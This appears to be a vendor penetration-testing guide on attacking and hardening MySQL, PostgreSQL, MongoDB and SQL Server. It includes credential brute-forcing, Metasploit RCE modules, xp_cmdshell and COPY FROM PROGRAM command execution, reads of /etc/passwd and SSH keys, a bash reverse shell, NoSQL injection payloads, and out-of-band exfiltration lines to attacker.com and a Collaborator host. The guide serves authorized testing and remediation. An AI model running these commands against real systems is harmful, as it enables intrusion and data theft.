Database Security Testing: MySQL, PostgreSQL, MongoDB and SQL Server
Databases are the crown jewels of every application stack. A successful database compromise typically means game over — full data exfiltration, credential theft, and in some configurations, operating system command execution. Yet database security testing is often the most inconsistently scoped part of an engagement. Is the DB server in scope? Does "web application pentest" include direct database port access? What does "database assessment" actually mean?
This guide cuts through the ambiguity. We cover scope decisions, engine-specific attack techniques for MySQL/MariaDB, PostgreSQL, MongoDB, and SQL Server, plus the tooling and remediation guidance you need to test and harden database infrastructure properly.
Scope note: This guide distinguishes between web-layer database testing (SQL injection through the application) and direct database assessment (authenticated/unauthenticated access to database ports). Both are covered. Always confirm in-scope assets with your client before running network-level database tests.
Defining Scope: Web App Pentest vs. Dedicated DB Assessment
There is a persistent scope ambiguity on every engagement that touches databases. A standard web application penetration test typically covers SQL injection through application endpoints — the web layer as the attack surface. A dedicated database assessment goes further: direct network access to database ports, authenticated testing of DB user privileges, configuration review, and OS-level interaction through database features.
| Area | Web App Pentest | Dedicated DB Assessment |
|---|---|---|
| SQL injection (web layer) | In scope | In scope |
| OOB SQLi / DNS exfiltration | In scope | In scope |
| Direct port access (3306, 5432, etc.) | Usually out of scope | In scope |
| Default credential testing (direct) | Out of scope | In scope |
| Privilege escalation within DB | Via SQLi only | Full testing |
| OS command execution via DB | Via SQLi chaining | Direct testing |
| DB configuration review | Not applicable | In scope |
When in doubt, define scope explicitly. "Web application and underlying infrastructure" is meaningfully different from "web application endpoints only." Get written confirmation before scanning database ports or attempting direct authentication.
Network Reconnaissance: Finding Exposed Database Ports
Before testing anything at the protocol level, enumerate what is exposed. Databases that should never face the internet routinely do — through misconfigured security groups, overzealous firewall rules, or legacy infrastructure decisions nobody documented.
Default database ports to target:
- 3306 — MySQL / MariaDB
- 5432 — PostgreSQL
- 27017 — MongoDB (plain) / 27018 (shard) / 27019 (config server)
- 1433 — Microsoft SQL Server
- 1521 — Oracle (out of scope here, but worth noting)
- 6379 — Redis (often collocated with DB infrastructure)
# Service version detection across common DB ports
nmap -sV -p 3306,5432,27017,27018,27019,1433,6379 --open -oA db-ports 192.168.1.0/24
# Run all relevant NSE DB scripts against discovered hosts
nmap -p 3306 --script mysql-info,mysql-databases,mysql-empty-password,mysql-users 10.10.10.5
nmap -p 5432 --script pgsql-brute,postgresql-info 10.10.10.6
nmap -p 27017 --script mongodb-info,mongodb-databases 10.10.10.7
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-config 10.10.10.8
The mysql-empty-password and ms-sql-empty-password scripts are worth running on every engagement — they check for the single most embarrassing misconfiguration: a root or sa account with no password at all.
MySQL / MariaDB Security Testing
Authentication and Default Credentials
MySQL ships with a root account. In older versions (pre-5.7), this account had no password by default. MariaDB historically allowed socket authentication for root, which means any local OS root user can authenticate without a password — a critical distinction when you have command execution through another vector.
# Brute force MySQL credentials with nmap
nmap -p 3306 --script mysql-brute --script-args brute.firstonly=true,userdb=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/wordlists/rockyou.txt 10.10.10.5
# Test common MySQL credentials manually
mysql -h 10.10.10.5 -u root -p''
mysql -h 10.10.10.5 -u root --password=root
mysql -h 10.10.10.5 -u admin --password=admin
# Hydra for parallel credential testing
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.5 mysql
Information Schema Enumeration
Once authenticated (or exploiting SQLi), information_schema is your roadmap. Every database, table, column, and user privilege is documented there.
-- Enumerate all databases
SELECT schema_name FROM information_schema.schemata;
-- Enumerate tables in a target database
SELECT table_name FROM information_schema.tables WHERE table_schema = 'targetdb';
-- Enumerate columns (useful for identifying credential tables)
SELECT table_name, column_name, data_type
FROM information_schema.columns
WHERE table_schema = 'targetdb'
ORDER BY table_name;
-- Check current user privileges
SHOW GRANTS FOR CURRENT_USER();
-- Check all user accounts
SELECT user, host, authentication_string FROM mysql.user;
-- Identify users with FILE privilege (precondition for UDF/file read)
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';
User-Defined Function (UDF) Injection for OS Command Execution
MySQL's UDF mechanism allows loading shared libraries that expose new SQL functions. If you have FILE privilege and the ability to write to the plugin directory, you can load a malicious UDF and execute OS commands. This is a well-documented privilege escalation path — Metasploit's exploit/multi/mysql/mysql_udf_payload automates it.
-- Check plugin directory (must be writable)
SHOW VARIABLES LIKE 'plugin_dir';
-- Check secure_file_priv (empty = no restriction on FILE operations)
SHOW VARIABLES LIKE 'secure_file_priv';
-- Check if you can already write files
SELECT 1 INTO OUTFILE '/tmp/test_write.txt';
-- With Metasploit (post-exploitation, requires valid credentials)
msf6 > use exploit/multi/mysql/mysql_udf_payload
msf6 exploit(mysql_udf_payload) > set RHOSTS 10.10.10.5
msf6 exploit(mysql_udf_payload) > set USERNAME root
msf6 exploit(mysql_udf_payload) > set PASSWORD ''
msf6 exploit(mysql_udf_payload) > run
Privilege Escalation Paths
Check for users with excessive global privileges. SUPER, FILE, EXECUTE on mysql.* and CREATE ROUTINE are the dangerous ones. A user that can create stored procedures with SQL SECURITY DEFINER and invoke them as a higher-privileged definer is a classic escalation path.
-- Identify overprivileged accounts
SELECT user, host, Super_priv, File_priv, Execute_priv, Create_routine_priv
FROM mysql.user
WHERE Super_priv='Y' OR File_priv='Y';
-- Check for anonymous users (major misconfiguration)
SELECT user, host FROM mysql.user WHERE user = '';
-- Read arbitrary files via LOAD_FILE (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/mysql/my.cnf');
PostgreSQL Security Testing
Trust Authentication Misconfiguration
PostgreSQL's pg_hba.conf controls client authentication. The trust method means: any connection from the specified host is accepted without a password. Finding host all all 0.0.0.0/0 trust in pg_hba.conf is an immediate critical finding — any client anywhere can authenticate as any user including superusers.
# Test for trust authentication (no password required)
psql -h 10.10.10.6 -U postgres -c "\l"
psql -h 10.10.10.6 -U postgres --no-password -c "SELECT current_user;"
# Brute force PostgreSQL credentials
nmap -p 5432 --script pgsql-brute --script-args brute.firstonly=true,userdb=users.txt,passdb=/usr/share/wordlists/rockyou.txt 10.10.10.6
hydra -l postgres -P /usr/share/wordlists/rockyou.txt 10.10.10.6 postgres
Role Enumeration
-- Enumerate all roles and their attributes
SELECT rolname, rolsuper, rolinherit, rolcreaterole, rolcreatedb, rolcanlogin, rolreplication
FROM pg_roles
ORDER BY rolsuper DESC;
-- Check current user privileges
SELECT current_user, session_user;
SELECT has_database_privilege(current_user, 'postgres', 'CONNECT');
-- List all schemas and tables
SELECT schemaname, tablename, tableowner
FROM pg_tables
WHERE schemaname NOT IN ('pg_catalog', 'information_schema')
ORDER BY schemaname, tablename;
COPY TO/FROM PROGRAM — OS Command Execution
COPY ... FROM PROGRAM is the PostgreSQL superuser's equivalent of a shell. Introduced in PostgreSQL 9.3, it executes an arbitrary OS command and reads its output into a table. Any superuser can use it — no additional configuration required.
-- Execute OS commands via COPY FROM PROGRAM (requires superuser)
COPY cmd_output FROM PROGRAM 'id';
COPY cmd_output FROM PROGRAM 'whoami';
COPY cmd_output FROM PROGRAM 'cat /etc/passwd';
-- Read command output
CREATE TABLE cmd_output (output text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
-- Reverse shell one-liner
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"';
-- Metasploit module for authenticated RCE
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf6 exploit(postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.10.6
msf6 exploit(postgres_copy_from_program_cmd_exec) > set USERNAME postgres
msf6 exploit(postgres_copy_from_program_cmd_exec) > set PASSWORD postgres
msf6 exploit(postgres_copy_from_program_cmd_exec) > run
pg_read_file and pg_ls_dir
Superusers can read arbitrary files on the database server filesystem using built-in administrative functions. This is a high-impact finding even without code execution — configuration files, SSH keys, and application secrets are all readable.
-- Read arbitrary files (superuser only, paths relative to data directory by default)
SELECT pg_read_file('pg_hba.conf');
SELECT pg_read_file('postgresql.conf');
-- List directory contents
SELECT * FROM pg_ls_dir('.');
SELECT * FROM pg_ls_dir('/etc');
-- Read absolute paths (PostgreSQL 11+)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/.ssh/id_rsa');
MongoDB Security Testing
Authentication Bypass via Empty Credentials
MongoDB's most infamous misconfiguration is running without authentication enabled at all. Versions prior to 3.0 shipped with no authentication by default. Production deployments exposed to the internet with this configuration were systematically wiped by ransomware campaigns ("MongoDB ransom attacks") in 2017 and again in later years. This still appears in the wild.
# Test for unauthenticated access
mongo --host 10.10.10.7 --port 27017
# In mongo shell — enumerate databases without credentials
show dbs
# Nmap script to enumerate databases and collections
nmap -p 27017 --script mongodb-info,mongodb-databases,mongodb-brute 10.10.10.7
# List all collections once connected
use admin
db.getCollectionNames()
# Dump all users
db.system.users.find().pretty()
# Show server configuration (exposes bind_ip, auth settings)
db.adminCommand({getCmdLineOpts: 1})
NoSQL Injection from the Web Layer
NoSQL injection against MongoDB typically targets applications that pass user-controlled JSON directly into queries without sanitization. The classic bypass uses MongoDB's $ne (not equal) operator to circumvent authentication checks.
# HTTP parameter injection — login bypass
# Original request body: {"username":"admin","password":"secret"}
# Injected:
{"username": {"$ne": null}, "password": {"$ne": null}}
# URL parameter injection (common in Express/Node apps)
GET /api/users?username[$ne]=&password[$ne]=
# curl example
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# Regex-based enumeration — extract usernames character by character
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$regex":"^a"},"password":{"$ne":null}}'
# Blind injection using $where (server-side JS execution, deprecated in newer versions)
curl -s -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$where":"sleep(3000)"}}'
Exposed Admin Interfaces
Older MongoDB deployments (pre-3.6) shipped with a built-in HTTP admin interface on port 28017. While removed in later versions, it still appears on legacy infrastructure and exposes complete server status, current operations, and database listings without authentication.
# Check for legacy HTTP admin interface
curl http://10.10.10.7:28017/
curl http://10.10.10.7:28017/serverStatus
curl http://10.10.10.7:28017/_commands
# Metasploit scanner for open MongoDB instances
msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(mongodb_login) > set RHOSTS 10.10.10.7
msf6 auxiliary(mongodb_login) > run
SQL Server Security Testing
sa Account and Windows Authentication
SQL Server has two authentication modes: Windows Authentication (Kerberos/NTLM, domain-integrated) and Mixed Mode (Windows + SQL authentication). In Mixed Mode, the sa (system administrator) account is enabled. Older installations routinely have sa with a blank or trivially guessable password.
# Enumerate SQL Server instances on the network (UDP 1434)
nmap -sU -p 1434 --script ms-sql-info 10.10.10.0/24
# Test sa with empty password
nmap -p 1433 --script ms-sql-empty-password 10.10.10.8
# Brute force SQL Server credentials
nmap -p 1433 --script ms-sql-brute --script-args brute.firstonly=true 10.10.10.8
# Test with impacket (supports Windows auth via Kerberos)
mssqlclient.py -windows-auth DOMAIN/user:password@10.10.10.8
mssqlclient.py sa:''@10.10.10.8
# Metasploit auxiliary scanner
msf6 > use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(mssql_login) > set RHOSTS 10.10.10.8
msf6 auxiliary(mssql_login) > set USERNAME sa
msf6 auxiliary(mssql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(mssql_login) > run
xp_cmdshell — OS Command Execution
xp_cmdshell is SQL Server's built-in OS command execution interface. It is disabled by default since SQL Server 2005, but can be re-enabled by any user with the sysadmin role — which includes sa and any account granted that role. It is the most direct path from SQL injection to system compromise on Windows environments.
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'ipconfig /all';
-- Capture output into a table
CREATE TABLE #output (output NVARCHAR(4000));
INSERT INTO #output EXEC xp_cmdshell 'dir C:\';
SELECT * FROM #output;
-- Reverse shell via xp_cmdshell
EXEC xp_cmdshell 'powershell -e [base64-encoded-reverse-shell]';
-- Via sqlmap (automated exploitation)
sqlmap -u "http://target.com/search?q=1" --os-shell --dbms=mssql
Linked Servers
SQL Server linked servers allow one SQL Server instance to execute queries against another. Misconfigurations in linked server security context (running as sa on the remote server) turn a low-privilege compromise of one DB into immediate access to others — including on different network segments.
-- Enumerate linked servers
EXEC sp_linkedservers;
SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;
-- Execute queries on linked server
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT current_user');
EXEC ('SELECT @@version') AT [LINKED_SERVER_NAME];
-- Check linked server security context
SELECT name, product, provider, data_source, catalog, connect_timeout,
modify_date, is_linked, is_remote_login_enabled
FROM sys.servers
WHERE is_linked = 1;
-- Attempt privilege escalation via linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
SQL Injection and Out-of-Band Exfiltration
sqlmap for Web-Layer Testing
sqlmap remains the definitive tool for SQL injection exploitation. For professional engagements, understand what it is doing before running it — particularly --os-shell and --level 5 --risk 3 which are aggressive and may cause availability impact.
# Basic detection with request file (recommended for complex auth)
sqlmap -r request.txt --batch --level 3 --risk 2
# Target specific parameter
sqlmap -u "http://target.com/product?id=1" -p id --dbms=mysql --batch
# Enumerate databases, tables, then dump
sqlmap -u "http://target.com/product?id=1" --dbs
sqlmap -u "http://target.com/product?id=1" -D targetdb --tables
sqlmap -u "http://target.com/product?id=1" -D targetdb -T users --dump
# Test POST parameter with JSON body
sqlmap -u "http://target.com/api/search" --data='{"query":"test"}' \
--headers="Content-Type: application/json" --batch
# Second-order SQL injection (store then trigger)
sqlmap -u "http://target.com/profile" --second-url="http://target.com/dashboard" \
--data="username=test" --batch
# WAF bypass — tamper scripts
sqlmap -u "http://target.com/product?id=1" --tamper=space2comment,between --batch
# OS-level interaction (use carefully, confirm scope)
sqlmap -u "http://target.com/product?id=1" --os-shell --dbms=mysql
Out-of-Band SQL Injection via DNS
Blind SQL injection is notoriously slow to exploit through time-based techniques. Out-of-band (OOB) exfiltration via DNS is faster and more reliable: you force the database to make a DNS lookup to a domain you control, encoding data in the hostname. Each database engine has its own mechanism.
Setup: Use Burp Collaborator, interactsh (interactsh-client on Kali), or your own authoritative DNS server. Replace YOUR.BURP.COLLABORATOR.URL with your OOB endpoint in all examples below.
-- MySQL OOB via LOAD_FILE + UNC path (Windows only)
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.YOUR.BURP.COLLABORATOR.URL\\a'));
-- MySQL OOB on Linux via INTO OUTFILE to named pipe (requires FILE privilege)
SELECT (SELECT password FROM mysql.user LIMIT 1)
INTO OUTFILE '/dev/tcp/attacker.com/4444';
-- PostgreSQL OOB via COPY TO PROGRAM
COPY (SELECT version()) TO PROGRAM
'curl http://YOUR.BURP.COLLABORATOR.URL/$(psql --version | base64)';
-- PostgreSQL OOB via dblink (if extension enabled)
SELECT dblink_connect('host='||(SELECT current_user)||'.YOUR.BURP.COLLABORATOR.URL user=a password=a dbname=a');
-- SQL Server OOB via master..xp_dirtree (no xp_cmdshell needed)
DECLARE @data varchar(1024);
SET @data = (SELECT TOP 1 name FROM master..sysdatabases);
EXEC master..xp_dirtree CONCAT('\\', @data, '.YOUR.BURP.COLLABORATOR.URL\a');
-- SQL Server OOB via DNS lookup using OPENROWSET
SELECT * FROM OPENROWSET('SQLNCLI','server='+@@version+'.YOUR.BURP.COLLABORATOR.URL;uid=a;pwd=a','SELECT 1');
-- MySQL OOB via sqlmap (automated)
sqlmap -u "http://target.com/product?id=1" --technique=E \
--dns-domain=YOUR.BURP.COLLABORATOR.URL --batch
OOB SQLi is particularly valuable when the application returns no visible output (fully blind injection) and time-based techniques are unreliable due to network latency. A DNS hit to your collaborator server confirms injection and allows data exfiltration without a direct network path from the database server back to you.
Common Misconfigurations Checklist
Beyond engine-specific techniques, these are the misconfigurations that consistently appear across every database technology:
- Default credentials not changed — root/root, postgres/postgres, sa/(blank), admin/admin. Check every single one.
- Database port exposed to the internet — 3306, 5432, 27017, 1433 should never be reachable from untrusted networks. Firewall rules should restrict access to application server IPs only.
- Authentication disabled — MongoDB without
--authflag, PostgreSQL withtrustin pg_hba.conf for broad host ranges. - Weak TLS configuration — databases transmitting credentials and data in plaintext, or using deprecated TLS versions (TLS 1.0/1.1) and cipher suites. Test with
nmap --script ssl-enum-ciphers -p 3306 target. - Excessive privileges — application database users with DBA or superuser privileges. The application account should only have SELECT, INSERT, UPDATE, DELETE on the specific tables it needs — never SUPER, FILE, or schema-level DDL rights.
- No query logging or slow query log — makes SQLi detection impossible after the fact.
- Unpatched database engine — check version with
SELECT @@version(MySQL/MSSQL) orSELECT version()(PostgreSQL/MongoDB) and compare against CVE databases. - Backup files left accessible — .sql, .dump, .bak files in web-accessible directories are a critical information disclosure finding. Scan with
gobuster dirusing an extension wordlist.
Remediation Guidance
Network Controls
Database ports should never be exposed beyond the application tier. Use security groups, host-based firewalls (ufw, iptables), or network ACLs to restrict database port access to application server IP addresses only. For cloud deployments, databases should sit in a private subnet with no direct internet route. If remote administration is required, access via a bastion host or VPN — never by opening database ports directly.
Authentication Hardening
- MySQL: Run
mysql_secure_installationpost-install. Set a strong root password, remove anonymous users (DROP USER ''@'localhost';), remove the test database, and disable remote root login. Usecaching_sha2_password(MySQL 8+) orsha256_passwordrather than the legacymysql_native_password. - PostgreSQL: Replace
trustentries in pg_hba.conf withscram-sha-256. Setpassword_encryption = scram-sha-256in postgresql.conf. Disable the postgres OS user's shell login where not needed. - MongoDB: Always start with
--author setsecurity.authorization: enabledin mongod.conf. Create a dedicated admin user before enabling auth. Use SCRAM-SHA-256 for authentication. - SQL Server: Disable the sa account if Windows Authentication is sufficient. If Mixed Mode is required, set a strong sa password and use a dedicated application login with least-privilege. Disable xp_cmdshell.
Principle of Least Privilege
Create dedicated database users per application with only the permissions that application requires. A read-only reporting service should connect with a read-only user. An application that never deletes records should not have DELETE privileges. Audit privileges quarterly with:
-- MySQL: review all grants
SELECT CONCAT('SHOW GRANTS FOR ''', user, '''@''', host, ''';')
FROM mysql.user WHERE user != '' ORDER BY user;
-- PostgreSQL: review role memberships
SELECT grantee, privilege_type, table_schema, table_name
FROM information_schema.role_table_grants
WHERE grantee NOT IN ('PUBLIC', 'postgres')
ORDER BY grantee, table_schema, table_name;
-- SQL Server: identify logins with sysadmin role
SELECT p.name, p.type_desc, pp.name AS role
FROM sys.server_principals p
JOIN sys.server_role_members rm ON p.principal_id = rm.member_principal_id
JOIN sys.server_principals pp ON rm.role_principal_id = pp.principal_id
WHERE pp.name = 'sysadmin';
Encryption in Transit
Enable TLS for all database connections and enforce it server-side. For MySQL, set require_secure_transport = ON. For PostgreSQL, set ssl = on in postgresql.conf and use hostssl instead of host in pg_hba.conf. For MongoDB, configure net.tls.mode: requireTLS. Applications should verify the server certificate — not just encrypt the connection.
Application-Layer SQL Injection Prevention
Parameterized queries (prepared statements) eliminate SQL injection at the root cause. ORMs with parameterized backends (SQLAlchemy, Hibernate, ActiveRecord) are safe by default when used correctly — but raw query interpolation inside an ORM is still vulnerable. Input validation and a WAF are defense-in-depth, not substitutes for parameterization.
Detect SQL Injection and Database Exposure Automatically
Ironimo's web application scanner automatically detects SQL injection vulnerabilities across your application stack — including time-based blind injection, error-based injection, and out-of-band SQLi via DNS callback. The scanner also flags database information disclosure in HTTP responses, exposed error messages revealing schema details, and misconfigured database admin interfaces reachable from the web layer.
Stop finding database vulnerabilities in your pentest reports. Find them in your security scanner first.
Start free scan